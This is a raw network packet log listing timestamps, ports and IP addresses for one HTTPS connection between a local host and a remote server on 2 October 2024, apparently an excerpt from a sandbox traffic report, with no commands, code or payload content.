Oct 2, 2024 06:10:08.506829023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.506850004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.578466892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.578490019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.578551054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.578568935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.578598976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.578622103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.578778028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.578797102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.578855991 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.578867912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.578913927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.579049110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.579072952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.579137087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.579149961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.579197884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.579287052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.579339027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.579365015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.579375982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.579437971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.579437971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.579576015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.579596996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.579639912 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.579651117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.579679012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.579837084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.579869032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.579941988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.579946995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.579962015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.580028057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.580210924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.580229998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.580291033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.580291033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.580307007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.580348969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.595221043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.595242977 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.595309973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.595344067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.595371008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.595423937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.667262077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.667283058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.667344093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.667377949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.667428017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.667428017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.667537928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.667557955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.667632103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.667644978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.667876005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.667897940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.667943001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.667957067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.667984009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.668083906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.668102980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.668149948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.668169975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.668194056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.668215990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.668308973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.668329000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.668389082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.668401003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.668668985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.668699980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.668737888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.668756962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.668780088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.668921947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.668946981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.668999910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.669018030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.669040918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.669744015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.683691025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.683711052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.683763027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.683775902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.683808088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.683826923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.755805969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.755825996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.755923033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.755939960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756081104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756103992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756146908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.756160021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756202936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.756239891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.756340027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756360054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756439924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.756450891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756494999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.756513119 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.756567001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756613016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756658077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.756669044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756701946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.756737947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.756916046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756934881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.756989956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.757002115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.757025957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.757059097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.757141113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.757160902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.757213116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.757225037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.757250071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.757288933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.757428885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.757447958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.757489920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.757502079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.757528067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.757558107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.772486925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.772509098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.772605896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.772619963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.772739887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.844516039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.844542027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.844645977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.844662905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.844763994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.844803095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.844847918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.844866037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.844893932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.844990969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.845010042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.845068932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.845083952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.845292091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.845326900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.845364094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.845381975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.845406055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.845436096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.845602989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.845622063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.845675945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.845688105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.845899105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.845927000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.845982075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.845999956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.846026897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.846153021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.846177101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.846215963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.846230984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.846263885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.846604109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.868143082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.868195057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.868248940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.868278027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.868308067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.868325949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.948849916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.948873043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.948971033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.948991060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.949702978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.950325966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.950345993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.950397968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.950416088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.950439930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.950463057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.950488091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.950509071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.950571060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.950582027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.950608969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.950644970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.950853109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.950872898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.950915098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.950927019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.950953007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.950969934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.951076031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.951096058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.951137066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.951148987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.951175928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.951199055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.951302052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.951345921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.951365948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.951378107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.951430082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.951431036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.951611042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.951628923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.951668978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.951680899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.951710939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.951744080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.966851950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.966871023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.966944933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:08.966959953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:08.969723940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.037533045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.037570953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.037647963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.037666082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.037734985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.037734985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.039067030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.039088011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.039175987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.039189100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.039354086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.039377928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.039438963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.039438963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.039454937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.039570093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.039601088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.039644003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.039659023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.039688110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.039706945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.039849043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.039875984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.039946079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.039946079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.039962053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.040199041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.040224075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.040288925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.040288925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.040302992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.040349960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.040395021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.040415049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.040457964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.040469885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.040498972 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.040519953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.041634083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.055701971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.055723906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.055803061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.055819988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.057553053 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.126194954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.126215935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.126327038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.126355886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.126530886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.127901077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.127923012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.127990961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.128014088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.128040075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.128078938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.128186941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.128207922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.128285885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.128298998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.128351927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.128442049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.128462076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.128516912 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.128531933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.128616095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.128750086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.128768921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.128825903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.128838062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.128933907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.128948927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.128968000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.129014969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.129029036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.129127979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.129267931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.129306078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.129345894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.129358053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.129384041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.129406929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.144690037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.144718885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.144803047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.144817114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.145570040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.214553118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.214579105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.214658976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.214678049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.214735031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.214759111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.216192007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.216209888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.216293097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.216308117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.216756105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.216778040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.216821909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.216839075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.216864109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.216893911 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.217060089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.217077971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.217130899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.217144012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.217320919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.217341900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.217386961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.217417955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.217446089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.217542887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.217557907 CEST	443	49715	167.114.14.168	192.168.2.5
